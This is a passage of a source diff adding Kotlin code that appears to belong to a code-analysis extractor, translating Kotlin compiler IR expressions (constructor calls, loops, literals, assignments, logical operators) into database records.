+        val id = extractNewExpr(e.symbol.owner, (e.type as? IrSimpleType)?.arguments, type, locId, parent, idx, callable, enclosingStmt)
+
+        if (isAnonymous) {
+            tw.writeIsAnonymClass(type.javaResult.id.cast<DbClass>(), id)
+        }
+
+        extractCallValueArguments(id, e, enclosingStmt, callable, 0)
+
+        val dr = e.dispatchReceiver
+        if (dr != null) {
+            extractExpressionExpr(dr, callable, id, -2, enclosingStmt)
+        }
+
+        val typeAccessType = if (isAnonymous) {
+            val c = (e.type as IrSimpleType).classifier.owner as IrClass
+            if (c.superTypes.size == 1) {
+                useType(c.superTypes.first())
+            } else {
+                useType(pluginContext.irBuiltIns.anyType)
+            }
+        } else {
+            type
+        }
+
+        if (e is IrConstructorCall) {
+            extractConstructorTypeAccess(e.type, typeAccessType, e.symbol, locId, id, -3, callable, enclosingStmt)
+        } else {
+            val typeAccessId =
+                extractTypeAccess(typeAccessType, locId, id, -3, callable, enclosingStmt)
+
+            extractTypeArguments(e, typeAccessId, callable, enclosingStmt)
+        }
+    }
+
+    private val loopIdMap: MutableMap<IrLoop, Label<out DbKtloopstmt>> = mutableMapOf()
+
+    // todo: calculating the enclosing ref type could be done through this, instead of walking up the declaration parent chain
+    private val declarationStack: Stack<IrDeclaration> = Stack()
+
+    abstract inner class StmtExprParent {
+        abstract fun stmt(e: IrExpression, callable: Label<out DbCallable>): StmtParent
+        abstract fun expr(e: IrExpression, callable: Label<out DbCallable>): ExprParent
+    }
+
+    inner class StmtParent(val parent: Label<out DbStmtparent>, val idx: Int): StmtExprParent() {
+        override fun stmt(e: IrExpression, callable: Label<out DbCallable>): StmtParent {
+            return this
+        }
+        override fun expr(e: IrExpression, callable: Label<out DbCallable>): ExprParent {
+            val id = tw.getFreshIdLabel<DbExprstmt>()
+            val locId = tw.getLocation(e)
+            tw.writeStmts_exprstmt(id, parent, idx, callable)
+            tw.writeHasLocation(id, locId)
+            return ExprParent(id, 0, id)
+        }
+    }
+    inner class ExprParent(val parent: Label<out DbExprparent>, val idx: Int, val enclosingStmt: Label<out DbStmt>): StmtExprParent() {
+        override fun stmt(e: IrExpression, callable: Label<out DbCallable>): StmtParent {
+            val id = tw.getFreshIdLabel<DbStmtexpr>()
+            val type = useType(e.type)
+            val locId = tw.getLocation(e)
+            tw.writeExprs_stmtexpr(id, type.javaResult.id, parent, idx)
+            tw.writeExprsKotlinType(id, type.kotlinResult.id)
+            tw.writeHasLocation(id, locId)
+            tw.writeCallableEnclosingExpr(id, callable)
+            tw.writeStatementEnclosingExpr(id, enclosingStmt)
+            return StmtParent(id, 0)
+        }
+        override fun expr(e: IrExpression, callable: Label<out DbCallable>): ExprParent {
+            return this
+        }
+    }
+
+    fun getStatementOriginOperator(origin: IrStatementOrigin?) = when (origin) {
+        IrStatementOrigin.PLUSEQ -> "plus"
+        IrStatementOrigin.MINUSEQ -> "minus"
+        IrStatementOrigin.MULTEQ -> "times"
+        IrStatementOrigin.DIVEQ -> "div"
+        IrStatementOrigin.PERCEQ -> "rem"
+        else -> null
+    }
+
+    fun getUpdateInPlaceRHS(origin: IrStatementOrigin?, isExpectedLhs: (IrExpression?) -> Boolean, updateRhs: IrExpression): IrExpression? {
+        // Check for a desugared in-place update operator, such as "v += e":
+        return getStatementOriginOperator(origin)?.let {
+            if (updateRhs is IrCall &&
+                isNumericFunction(updateRhs.symbol.owner, it)
+            ) {
+                // Check for an expression like x = get(x).op(e):
+                val opReceiver = updateRhs.dispatchReceiver
+                if (isExpectedLhs(opReceiver)) {
+                    updateRhs.getValueArgument(0)
+                } else null
+            } else null
+        }
+    }
+
+    fun writeUpdateInPlaceExpr(origin: IrStatementOrigin, tw: TrapWriter, id: Label<DbAssignexpr>, type: TypeResults, exprParent: ExprParent): Boolean {
+        when(origin) {
+            IrStatementOrigin.PLUSEQ -> tw.writeExprs_assignaddexpr(id.cast<DbAssignaddexpr>(), type.javaResult.id, exprParent.parent, exprParent.idx)
+            IrStatementOrigin.MINUSEQ -> tw.writeExprs_assignsubexpr(id.cast<DbAssignsubexpr>(), type.javaResult.id, exprParent.parent, exprParent.idx)
+            IrStatementOrigin.MULTEQ -> tw.writeExprs_assignmulexpr(id.cast<DbAssignmulexpr>(), type.javaResult.id, exprParent.parent, exprParent.idx)
+            IrStatementOrigin.DIVEQ -> tw.writeExprs_assigndivexpr(id.cast<DbAssigndivexpr>(), type.javaResult.id, exprParent.parent, exprParent.idx)
+            IrStatementOrigin.PERCEQ -> tw.writeExprs_assignremexpr(id.cast<DbAssignremexpr>(), type.javaResult.id, exprParent.parent, exprParent.idx)
+            else -> return false
+        }
+        return true
+    }
+
+    fun tryExtractArrayUpdate(e: IrContainerExpression, callable: Label<out DbCallable>, parent: StmtExprParent): Boolean {
+        /*
+         * We're expecting the pattern
+         * {
+         *   val array = e1
+         *   val idx = e2
+         *   array.set(idx, array.get(idx).op(e3))
+         * }
+         *
+         * If we find it, we'll extract e1[e2] op= e3 (op is +, -, ...)
+         */
+        if(e.statements.size != 3)
+            return false
+        (e.statements[0] as? IrVariable)?.let { arrayVarDecl ->
+            arrayVarDecl.initializer?.let { arrayVarInitializer ->
+                (e.statements[1] as? IrVariable)?.let { indexVarDecl ->
+                    indexVarDecl.initializer?.let { indexVarInitializer ->
+                        (e.statements[2] as? IrCall)?.let { arraySetCall ->
+                            if (isFunction(arraySetCall.symbol.owner, "kotlin", "(some array type)", { isArrayType(it) }, "set")) {
+                                getUpdateInPlaceRHS(
+                                    e.origin, // Using e.origin not arraySetCall.origin here distinguishes a compiler-generated block from a user manually code that looks the same.
+                                    {   oldValue ->
+                                        oldValue is IrCall &&
+                                        isFunction(oldValue.symbol.owner, "kotlin", "(some array type)", { typeName -> isArrayType(typeName) }, "get") &&
+                                        (oldValue.dispatchReceiver as? IrGetValue)?.let {
+                                            receiverVal -> receiverVal.symbol.owner == arrayVarDecl.symbol.owner
+                                        } ?: false
+                                    },
+                                    arraySetCall.getValueArgument(1)!!
+                                )?.let { updateRhs ->
+                                    // Create an assignment skeleton _ op= _
+                                    val exprParent = parent.expr(e, callable)
+                                    val assignId = tw.getFreshIdLabel<DbAssignexpr>()
+                                    val type = useType(arrayVarInitializer.type)
+                                    val locId = tw.getLocation(e)
+                                    tw.writeExprsKotlinType(assignId, type.kotlinResult.id)
+                                    tw.writeHasLocation(assignId, locId)
+                                    tw.writeCallableEnclosingExpr(assignId, callable)
+                                    tw.writeStatementEnclosingExpr(assignId, exprParent.enclosingStmt)
+
+                                    if (!writeUpdateInPlaceExpr(e.origin!!, tw, assignId, type, exprParent)) {
+                                        logger.errorElement("Unexpected origin", e)
+                                        return false
+                                    }
+
+                                    // Extract e1[e2]
+                                    val lhsId = tw.getFreshIdLabel<DbArrayaccess>()
+                                    val elementType = useType(updateRhs.type)
+                                    tw.writeExprs_arrayaccess(lhsId, elementType.javaResult.id, assignId, 0)
+                                    tw.writeExprsKotlinType(lhsId, elementType.kotlinResult.id)
+                                    tw.writeHasLocation(lhsId, locId)
+                                    tw.writeCallableEnclosingExpr(lhsId, callable)
+                                    tw.writeStatementEnclosingExpr(lhsId, exprParent.enclosingStmt)
+                                    extractExpressionExpr(arrayVarInitializer, callable, lhsId, 0, exprParent.enclosingStmt)
+                                    extractExpressionExpr(indexVarInitializer, callable, lhsId, 1, exprParent.enclosingStmt)
+
+                                    // Extract e3
+                                    extractExpressionExpr(updateRhs, callable, assignId, 1, exprParent.enclosingStmt)
+
+                                    return true
+                                }
+                            }
+                        }
+                    }
+                }
+            }
+        }
+
+        return false
+    }
+
+    fun extractExpressionStmt(e: IrExpression, callable: Label<out DbCallable>, parent: Label<out DbStmtparent>, idx: Int) {
+        extractExpression(e, callable, StmtParent(parent, idx))
+    }
+
+    fun extractExpressionExpr(e: IrExpression, callable: Label<out DbCallable>, parent: Label<out DbExprparent>, idx: Int, enclosingStmt: Label<out DbStmt>) {
+        extractExpression(e, callable, ExprParent(parent, idx, enclosingStmt))
+    }
+
+    fun extractExpression(e: IrExpression, callable: Label<out DbCallable>, parent: StmtExprParent) {
+        with("expression", e) {
+            when(e) {
+                is IrDelegatingConstructorCall -> {
+                    val stmtParent = parent.stmt(e, callable)
+
+                    val irCallable = declarationStack.peek()
+
+                    val delegatingClass = e.symbol.owner.parent as IrClass
+                    val currentClass = irCallable.parent as IrClass
+
+                    val id: Label<out DbStmt>
+                    if (delegatingClass != currentClass) {
+                        id = tw.getFreshIdLabel<DbSuperconstructorinvocationstmt>()
+                        tw.writeStmts_superconstructorinvocationstmt(id, stmtParent.parent, stmtParent.idx, callable)
+                    } else {
+                        id = tw.getFreshIdLabel<DbConstructorinvocationstmt>()
+                        tw.writeStmts_constructorinvocationstmt(id, stmtParent.parent, stmtParent.idx, callable)
+                    }
+
+                    val locId = tw.getLocation(e)
+                    val methodId = useFunction<DbConstructor>(e.symbol.owner)
+
+                    tw.writeHasLocation(id, locId)
+                    tw.writeCallableBinding(id.cast<DbCaller>(), methodId)
+                    extractCallValueArguments(id, e, id, callable, 0)
+                    val dr = e.dispatchReceiver
+                    if (dr != null) {
+                        extractExpressionExpr(dr, callable, id, -1, id)
+                    }
+
+                    // todo: type arguments at index -2, -3, ...
+                }
+                is IrThrow -> {
+                    val stmtParent = parent.stmt(e, callable)
+                    val id = tw.getFreshIdLabel<DbThrowstmt>()
+                    val locId = tw.getLocation(e)
+                    tw.writeStmts_throwstmt(id, stmtParent.parent, stmtParent.idx, callable)
+                    tw.writeHasLocation(id, locId)
+                    extractExpressionExpr(e.value, callable, id, 0, id)
+                }
+                is IrBreak -> {
+                    val stmtParent = parent.stmt(e, callable)
+                    val id = tw.getFreshIdLabel<DbBreakstmt>()
+                    tw.writeStmts_breakstmt(id, stmtParent.parent, stmtParent.idx, callable)
+                    extractBreakContinue(e, id)
+                }
+                is IrContinue -> {
+                    val stmtParent = parent.stmt(e, callable)
+                    val id = tw.getFreshIdLabel<DbContinuestmt>()
+                    tw.writeStmts_continuestmt(id, stmtParent.parent, stmtParent.idx, callable)
+                    extractBreakContinue(e, id)
+                }
+                is IrReturn -> {
+                    val stmtParent = parent.stmt(e, callable)
+                    val id = tw.getFreshIdLabel<DbReturnstmt>()
+                    val locId = tw.getLocation(e)
+                    tw.writeStmts_returnstmt(id, stmtParent.parent, stmtParent.idx, callable)
+                    tw.writeHasLocation(id, locId)
+                    extractExpressionExpr(e.value, callable, id, 0, id)
+                }
+                is IrTry -> {
+                    val stmtParent = parent.stmt(e, callable)
+                    val id = tw.getFreshIdLabel<DbTrystmt>()
+                    val locId = tw.getLocation(e)
+                    tw.writeStmts_trystmt(id, stmtParent.parent, stmtParent.idx, callable)
+                    tw.writeHasLocation(id, locId)
+                    extractExpressionStmt(e.tryResult, callable, id, -1)
+                    val finallyStmt = e.finallyExpression
+                    if(finallyStmt != null) {
+                        extractExpressionStmt(finallyStmt, callable, id, -2)
+                    }
+                    for((catchIdx, catchClause) in e.catches.withIndex()) {
+                        val catchId = tw.getFreshIdLabel<DbCatchclause>()
+                        tw.writeStmts_catchclause(catchId, id, catchIdx, callable)
+                        val catchLocId = tw.getLocation(catchClause)
+                        tw.writeHasLocation(catchId, catchLocId)
+                        extractTypeAccessRecursive(catchClause.catchParameter.type, tw.getLocation(catchClause.catchParameter), catchId, -1, callable, catchId)
+                        extractVariableExpr(catchClause.catchParameter, callable, catchId, 0, catchId)
+                        extractExpressionStmt(catchClause.result, callable, catchId, 1)
+                    }
+                }
+                is IrContainerExpression -> {
+                    if(!tryExtractArrayUpdate(e, callable, parent)) {
+                        val stmtParent = parent.stmt(e, callable)
+                        val id = tw.getFreshIdLabel<DbBlock>()
+                        val locId = tw.getLocation(e)
+                        tw.writeStmts_block(id, stmtParent.parent, stmtParent.idx, callable)
+                        tw.writeHasLocation(id, locId)
+                        e.statements.forEachIndexed { i, s ->
+                            extractStatement(s, callable, id, i)
+                        }
+                    }
+                }
+                is IrWhileLoop -> {
+                    val stmtParent = parent.stmt(e, callable)
+                    val id = tw.getFreshIdLabel<DbWhilestmt>()
+                    loopIdMap[e] = id
+                    val locId = tw.getLocation(e)
+                    tw.writeStmts_whilestmt(id, stmtParent.parent, stmtParent.idx, callable)
+                    tw.writeHasLocation(id, locId)
+                    extractExpressionExpr(e.condition, callable, id, 0, id)
+                    val body = e.body
+                    if(body != null) {
+                        extractExpressionStmt(body, callable, id, 1)
+                    }
+                    loopIdMap.remove(e)
+                }
+                is IrDoWhileLoop -> {
+                    val stmtParent = parent.stmt(e, callable)
+                    val id = tw.getFreshIdLabel<DbDostmt>()
+                    loopIdMap[e] = id
+                    val locId = tw.getLocation(e)
+                    tw.writeStmts_dostmt(id, stmtParent.parent, stmtParent.idx, callable)
+                    tw.writeHasLocation(id, locId)
+                    extractExpressionExpr(e.condition, callable, id, 0, id)
+                    val body = e.body
+                    if(body != null) {
+                        extractExpressionStmt(body, callable, id, 1)
+                    }
+                    loopIdMap.remove(e)
+                }
+                is IrInstanceInitializerCall -> {
+                    val stmtParent = parent.stmt(e, callable)
+                    val irConstructor = declarationStack.peek() as? IrConstructor
+                    if (irConstructor == null) {
+                        logger.errorElement("IrInstanceInitializerCall outside constructor", e)
+                        return
+                    }
+                    extractInstanceInitializerBlock(stmtParent, irConstructor)
+                }
+                is IrConstructorCall -> {
+                    val exprParent = parent.expr(e, callable)
+                    extractConstructorCall(e, exprParent.parent, exprParent.idx, callable, exprParent.enclosingStmt)
+                }
+                is IrEnumConstructorCall -> {
+                    val exprParent = parent.expr(e, callable)
+                    extractConstructorCall(e, exprParent.parent, exprParent.idx, callable, exprParent.enclosingStmt)
+                }
+                is IrCall -> {
+                    extractCall(e, callable, parent)
+                }
+                is IrStringConcatenation -> {
+                    val exprParent = parent.expr(e, callable)
+                    val id = tw.getFreshIdLabel<DbStringtemplateexpr>()
+                    val type = useType(e.type)
+                    val locId = tw.getLocation(e)
+                    tw.writeExprs_stringtemplateexpr(id, type.javaResult.id, exprParent.parent, exprParent.idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    tw.writeHasLocation(id, locId)
+                    tw.writeCallableEnclosingExpr(id, callable)
+                    tw.writeStatementEnclosingExpr(id, exprParent.enclosingStmt)
+                    e.arguments.forEachIndexed { i, a ->
+                        extractExpressionExpr(a, callable, id, i, exprParent.enclosingStmt)
+                    }
+                }
+                is IrConst<*> -> {
+                    val exprParent = parent.expr(e, callable)
+                    when(val v = e.value) {
+                        is Int, is Short, is Byte -> {
+                            val id = tw.getFreshIdLabel<DbIntegerliteral>()
+                            val type = useType(e.type)
+                            val locId = tw.getLocation(e)
+                            tw.writeExprs_integerliteral(id, type.javaResult.id, exprParent.parent, exprParent.idx)
+                            tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                            tw.writeHasLocation(id, locId)
+                            tw.writeCallableEnclosingExpr(id, callable)
+                            tw.writeStatementEnclosingExpr(id, exprParent.enclosingStmt)
+                            tw.writeNamestrings(v.toString(), v.toString(), id)
+                        } is Long -> {
+                            val id = tw.getFreshIdLabel<DbLongliteral>()
+                            val type = useType(e.type)
+                            val locId = tw.getLocation(e)
+                            tw.writeExprs_longliteral(id, type.javaResult.id, exprParent.parent, exprParent.idx)
+                            tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                            tw.writeHasLocation(id, locId)
+                            tw.writeCallableEnclosingExpr(id, callable)
+                            tw.writeStatementEnclosingExpr(id, exprParent.enclosingStmt)
+                            tw.writeNamestrings(v.toString(), v.toString(), id)
+                        } is Float -> {
+                            val id = tw.getFreshIdLabel<DbFloatingpointliteral>()
+                            val type = useType(e.type)
+                            val locId = tw.getLocation(e)
+                            tw.writeExprs_floatingpointliteral(id, type.javaResult.id, exprParent.parent, exprParent.idx)
+                            tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                            tw.writeHasLocation(id, locId)
+                            tw.writeCallableEnclosingExpr(id, callable)
+                            tw.writeStatementEnclosingExpr(id, exprParent.enclosingStmt)
+                            tw.writeNamestrings(v.toString(), v.toString(), id)
+                        } is Double -> {
+                            val id = tw.getFreshIdLabel<DbDoubleliteral>()
+                            val type = useType(e.type)
+                            val locId = tw.getLocation(e)
+                            tw.writeExprs_doubleliteral(id, type.javaResult.id, exprParent.parent, exprParent.idx)
+                            tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                            tw.writeHasLocation(id, locId)
+                            tw.writeCallableEnclosingExpr(id, callable)
+                            tw.writeStatementEnclosingExpr(id, exprParent.enclosingStmt)
+                            tw.writeNamestrings(v.toString(), v.toString(), id)
+                        } is Boolean -> {
+                            val id = tw.getFreshIdLabel<DbBooleanliteral>()
+                            val type = useType(e.type)
+                            val locId = tw.getLocation(e)
+                            tw.writeExprs_booleanliteral(id, type.javaResult.id, exprParent.parent, exprParent.idx)
+                            tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                            tw.writeHasLocation(id, locId)
+                            tw.writeCallableEnclosingExpr(id, callable)
+                            tw.writeStatementEnclosingExpr(id, exprParent.enclosingStmt)
+                            tw.writeNamestrings(v.toString(), v.toString(), id)
+                        } is Char -> {
+                            val id = tw.getFreshIdLabel<DbCharacterliteral>()
+                            val type = useType(e.type)
+                            val locId = tw.getLocation(e)
+                            tw.writeExprs_characterliteral(id, type.javaResult.id, exprParent.parent, exprParent.idx)
+                            tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                            tw.writeHasLocation(id, locId)
+                            tw.writeCallableEnclosingExpr(id, callable)
+                            tw.writeStatementEnclosingExpr(id, exprParent.enclosingStmt)
+                            tw.writeNamestrings(v.toString(), v.toString(), id)
+                        } is String -> {
+                            val id = tw.getFreshIdLabel<DbStringliteral>()
+                            val type = useType(e.type)
+                            val locId = tw.getLocation(e)
+                            tw.writeExprs_stringliteral(id, type.javaResult.id, exprParent.parent, exprParent.idx)
+                            tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                            tw.writeHasLocation(id, locId)
+                            tw.writeCallableEnclosingExpr(id, callable)
+                            tw.writeStatementEnclosingExpr(id, exprParent.enclosingStmt)
+                            tw.writeNamestrings(v.toString(), v.toString(), id)
+                        }
+                        null -> {
+                            val id = tw.getFreshIdLabel<DbNullliteral>()
+                            val type = useType(e.type) // class;kotlin.Nothing
+                            val locId = tw.getLocation(e)
+                            tw.writeExprs_nullliteral(id, type.javaResult.id, exprParent.parent, exprParent.idx)
+                            tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                            tw.writeHasLocation(id, locId)
+                            tw.writeCallableEnclosingExpr(id, callable)
+                            tw.writeStatementEnclosingExpr(id, exprParent.enclosingStmt)
+                        }
+                        else -> {
+                            logger.errorElement("Unrecognised IrConst: " + v.javaClass, e)
+                        }
+                    }
+                }
+                is IrGetValue -> {
+                    val exprParent = parent.expr(e, callable)
+                    val owner = e.symbol.owner
+                    if (owner is IrValueParameter && owner.index == -1 && !owner.isExtensionReceiver()) {
+                        val id = tw.getFreshIdLabel<DbThisaccess>()
+                        val type = useType(e.type)
+                        val locId = tw.getLocation(e)
+                        tw.writeExprs_thisaccess(id, type.javaResult.id, exprParent.parent, exprParent.idx)
+                        tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                        tw.writeHasLocation(id, locId)
+                        tw.writeCallableEnclosingExpr(id, callable)
+                        tw.writeStatementEnclosingExpr(id, exprParent.enclosingStmt)
+
+
+                        fun extractTypeAccess(parent: IrClass){
+                            extractTypeAccessRecursive(parent.typeWith(listOf()), locId, id, 0, callable, exprParent.enclosingStmt)
+                        }
+
+                        when(val ownerParent = owner.parent) {
+                            is IrFunction -> {
+                                if (ownerParent.dispatchReceiverParameter == owner &&
+                                    ownerParent.extensionReceiverParameter != null) {
+
+                                    val ownerParent2 = ownerParent.parent
+                                    if (ownerParent2 is IrClass){
+                                        extractTypeAccess(ownerParent2)
+                                    } else {
+                                        logger.errorElement("Unhandled qualifier for this", e)
+                                    }
+                                }
+                            }
+                            is IrClass -> {
+                                if (ownerParent.thisReceiver == owner) {
+                                    extractTypeAccess(ownerParent)
+                                }
+                            }
+                            else -> {
+                                logger.errorElement("Unexpected owner parent for this access: " + ownerParent.javaClass, e)
+                            }
+                        }
+                    } else {
+                        val id = tw.getFreshIdLabel<DbVaraccess>()
+                        val type = useType(e.type)
+                        val locId = tw.getLocation(e)
+                        tw.writeExprs_varaccess(id, type.javaResult.id, exprParent.parent, exprParent.idx)
+                        tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                        tw.writeHasLocation(id, locId)
+                        tw.writeCallableEnclosingExpr(id, callable)
+                        tw.writeStatementEnclosingExpr(id, exprParent.enclosingStmt)
+
+                        val vId = if (owner is IrValueParameter && owner.isExtensionReceiver())
+                            useValueParameter(owner, useFunction(owner.parent as IrFunction))
+                        else
+                            useValueDeclaration(owner)
+                        if (vId != null) {
+                            tw.writeVariableBinding(id, vId)
+                        }
+                    }
+                }
+                is IrGetField -> {
+                    val exprParent = parent.expr(e, callable)
+                    val id = tw.getFreshIdLabel<DbVaraccess>()
+                    val type = useType(e.type)
+                    val locId = tw.getLocation(e)
+                    tw.writeExprs_varaccess(id, type.javaResult.id, exprParent.parent, exprParent.idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    tw.writeHasLocation(id, locId)
+                    tw.writeCallableEnclosingExpr(id, callable)
+                    tw.writeStatementEnclosingExpr(id, exprParent.enclosingStmt)
+                    val owner = tryReplaceAndroidSyntheticField(e.symbol.owner)
+                    val vId = useField(owner)
+                    tw.writeVariableBinding(id, vId)
+                    tw.writeStatementEnclosingExpr(id, exprParent.enclosingStmt)
+
+                    val receiver = e.receiver
+                    if (receiver != null) {
+                        extractExpressionExpr(receiver, callable, id, -1, exprParent.enclosingStmt)
+                    } else if (owner.isStatic) {
+                        extractStaticTypeAccessQualifier(owner, id, locId, callable, exprParent.enclosingStmt)
+                    }
+                }
+                is IrGetEnumValue -> {
+                    val exprParent = parent.expr(e, callable)
+                    val id = tw.getFreshIdLabel<DbVaraccess>()
+                    val type = useType(e.type)
+                    val locId = tw.getLocation(e)
+                    tw.writeExprs_varaccess(id, type.javaResult.id, exprParent.parent, exprParent.idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    tw.writeHasLocation(id, locId)
+                    tw.writeCallableEnclosingExpr(id, callable)
+                    tw.writeStatementEnclosingExpr(id, exprParent.enclosingStmt)
+
+                    val owner = if (e.symbol.isBound) {
+                        e.symbol.owner
+                    }
+                    else {
+                        logger.warnElement("Unbound enum value, trying to use enum entry stub from descriptor", e)
+
+                        @OptIn(ObsoleteDescriptorBasedAPI::class)
+                        getIrStubFromDescriptor() { it.generateEnumEntryStub(e.symbol.descriptor) }
+                    } ?: return
+
+                    val vId = useEnumEntry(owner)
+                    tw.writeVariableBinding(id, vId)
+
+                    extractStaticTypeAccessQualifier(owner, id, locId, callable, exprParent.enclosingStmt)
+                }
+                is IrSetValue,
+                is IrSetField -> {
+                    val exprParent = parent.expr(e, callable)
+                    val id = tw.getFreshIdLabel<DbAssignexpr>()
+                    val type = useType(e.type)
+                    val rhsValue = when(e) {
+                        is IrSetValue -> e.value
+                        is IrSetField -> e.value
+                        else -> { logger.errorElement("Unhandled IrSet* element.", e); return }
+                    }
+                    // The set operation's location as actually that of its LHS. Hence, the assignment spans the
+                    // set op plus its RHS, while the varAccess takes its location from `e`.
+                    val locId = tw.getLocation(e.startOffset, rhsValue.endOffset)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    tw.writeHasLocation(id, locId)
+                    tw.writeCallableEnclosingExpr(id, callable)
+                    tw.writeStatementEnclosingExpr(id, exprParent.enclosingStmt)
+
+                    val lhsId = tw.getFreshIdLabel<DbVaraccess>()
+                    val lhsLocId = tw.getLocation(e)
+                    tw.writeHasLocation(lhsId, lhsLocId)
+                    tw.writeCallableEnclosingExpr(lhsId, callable)
+                    tw.writeStatementEnclosingExpr(lhsId, exprParent.enclosingStmt)
+
+                    when (e) {
+                        is IrSetValue -> {
+                            // Check for a desugared in-place update operator, such as "v += e":
+                            val inPlaceUpdateRhs = getUpdateInPlaceRHS(e.origin, { it is IrGetValue && it.symbol.owner == e.symbol.owner }, rhsValue)
+                            if (inPlaceUpdateRhs != null) {
+                                if (!writeUpdateInPlaceExpr(e.origin!!, tw, id, type, exprParent)) {
+                                    logger.errorElement("Unexpected origin", e)
+                                    return
+                                }
+                            } else {
+                                tw.writeExprs_assignexpr(id, type.javaResult.id, exprParent.parent, exprParent.idx)
+                            }
+
+                            val lhsType = useType(e.symbol.owner.type)
+                            tw.writeExprs_varaccess(lhsId, lhsType.javaResult.id, id, 0)
+                            tw.writeExprsKotlinType(lhsId, lhsType.kotlinResult.id)
+                            val vId = useValueDeclaration(e.symbol.owner)
+                            if (vId != null) {
+                                tw.writeVariableBinding(lhsId, vId)
+                            }
+                            extractExpressionExpr(inPlaceUpdateRhs ?: rhsValue, callable, id, 1, exprParent.enclosingStmt)
+                        }
+                        is IrSetField -> {
+                            tw.writeExprs_assignexpr(id, type.javaResult.id, exprParent.parent, exprParent.idx)
+                            val realField = tryReplaceAndroidSyntheticField(e.symbol.owner)
+                            val lhsType = useType(realField.type)
+                            tw.writeExprs_varaccess(lhsId, lhsType.javaResult.id, id, 0)
+                            tw.writeExprsKotlinType(lhsId, lhsType.kotlinResult.id)
+                            val vId = useField(realField)
+                            tw.writeVariableBinding(lhsId, vId)
+                            extractExpressionExpr(e.value, callable, id, 1, exprParent.enclosingStmt)
+
+                            val receiver = e.receiver
+                            if (receiver != null) {
+                                extractExpressionExpr(receiver, callable, lhsId, -1, exprParent.enclosingStmt)
+                            } else if (realField.isStatic) {
+                                extractStaticTypeAccessQualifier(realField, lhsId, lhsLocId, callable, exprParent.enclosingStmt)
+                            }
+                        }
+                        else -> {
+                            logger.errorElement("Unhandled IrSet* element.", e)
+                        }
+                    }
+                }
+                is IrWhen -> {
+                    val isAndAnd = e.origin == IrStatementOrigin.ANDAND
+                    val isOrOr = e.origin == IrStatementOrigin.OROR
+
+                    if ((isAndAnd || isOrOr) &&
+                        e.branches.size == 2 &&
+                        (e.branches[1].condition as? IrConst<*>)?.value == true &&
+                        (e.branches[if (e.origin == IrStatementOrigin.ANDAND) 1 else 0].result as? IrConst<*>)?.value == isOrOr) {
+
+                        // resugar binary logical operators:
+
+                        val exprParent = parent.expr(e, callable)
+                        val type = useType(e.type)
+
+                        val id = if (e.origin == IrStatementOrigin.ANDAND){
+                            val id = tw.getFreshIdLabel<DbAndlogicalexpr>()
+                            tw.writeExprs_andlogicalexpr(id, type.javaResult.id, exprParent.parent, exprParent.idx)
+                            id
+                        }
+                        else {
+                            val id = tw.getFreshIdLabel<DbOrlogicalexpr>()
+                            tw.writeExprs_orlogicalexpr(id, type.javaResult.id, exprParent.parent, exprParent.idx)
+                            id
+                        }
+                        val locId = tw.getLocation(e)
+
+                        tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                        tw.writeHasLocation(id, locId)
+                        tw.writeCallableEnclosingExpr(id, callable)
+                        tw.writeStatementEnclosingExpr(id, exprParent.enclosingStmt)
+
+                        extractExpressionExpr(e.branches[0].condition, callable, id, 0, exprParent.enclosingStmt)
+
+                        var rhsIdx = if (e.origin == IrStatementOrigin.ANDAND) 0 else 1
+                        extractExpressionExpr(e.branches[rhsIdx].result, callable, id, 1, exprParent.enclosingStmt)
+
+                        return
+                    }
+
+                    val exprParent = parent.expr(e, callable)
+                    val id = tw.getFreshIdLabel<DbWhenexpr>()
+                    val type = useType(e.type)
+                    val locId = tw.getLocation(e)
+                    tw.writeExprs_whenexpr(id, type.javaResult.id, exprParent.parent, exprParent.idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    tw.writeHasLocation(id, locId)
+                    tw.writeCallableEnclosingExpr(id, callable)
+                    tw.writeStatementEnclosingExpr(id, exprParent.enclosingStmt)
+                    if(e.origin == IrStatementOrigin.IF) {
+                        tw.writeWhen_if(id)
+                    }
+                    e.branches.forEachIndexed { i, b ->
+                        val bId = tw.getFreshIdLabel<DbWhenbranch>()
+                        val bLocId = tw.getLocation(b)
+                        tw.writeStmts_whenbranch(bId, id, i, callable)
+                        tw.writeHasLocation(bId, bLocId)
+                        extractExpressionExpr(b.condition, callable, bId, 0, bId)
+                        extractExpressionStmt(b.result, callable, bId, 1)
+                        if(b is IrElseBranch) {
+                            tw.writeWhen_branch_else(bId)
+                        }
+                    }
+                }
+                is IrGetClass -> {
+                    val exprParent = parent.expr(e, callable)
+                    val id = tw.getFreshIdLabel<DbGetclassexpr>()
+                    val locId = tw.getLocation(e)
+                    val type = useType(e.type)
+                    tw.writeExprs_getclassexpr(id, type.javaResult.id, exprParent.parent, exprParent.idx)
+                    tw.writeExprsKotlinType(id, type.kotlinResult.id)
+                    tw.writeHasLocation(id, locId)
+                    tw.writeCallableEnclosingExpr(id, callable)
+                    tw.writeStatementEnclosingExpr(id, exprParent.enclosingStmt)
+                    extractExpressionExpr(e.argument, callable, id, 0, exprParent.enclosingStmt)
+                }
+                is IrTypeOperatorCall -> {
+                    val exprParent = parent.expr(e, callable)
+                    extractTypeOperatorCall(e, callable, exprParent.parent, exprParent.idx, exprParent.enclosingStmt)
+                }
+                is IrVararg -> {
+                    logger.errorElement("Unexpected IrVararg", e)
+                }
+                is IrGetObjectValue -> {
+                    // For `object MyObject { ... }`, the .class has an
+                    // automatically-generated `public static final MyObject INSTANCE`
+                    // field that we are accessing here.
+                    val exprParent = parent.expr(e, callable)
+                    val c = if (e.symbol.isBound) {
+                        e.symbol.owner
+                    }
+                    else {
+                        logger.warnElement("Unbound object value, trying to use class stub from descriptor", e)
+
+                        @OptIn(ObsoleteDescriptorBasedAPI::class)
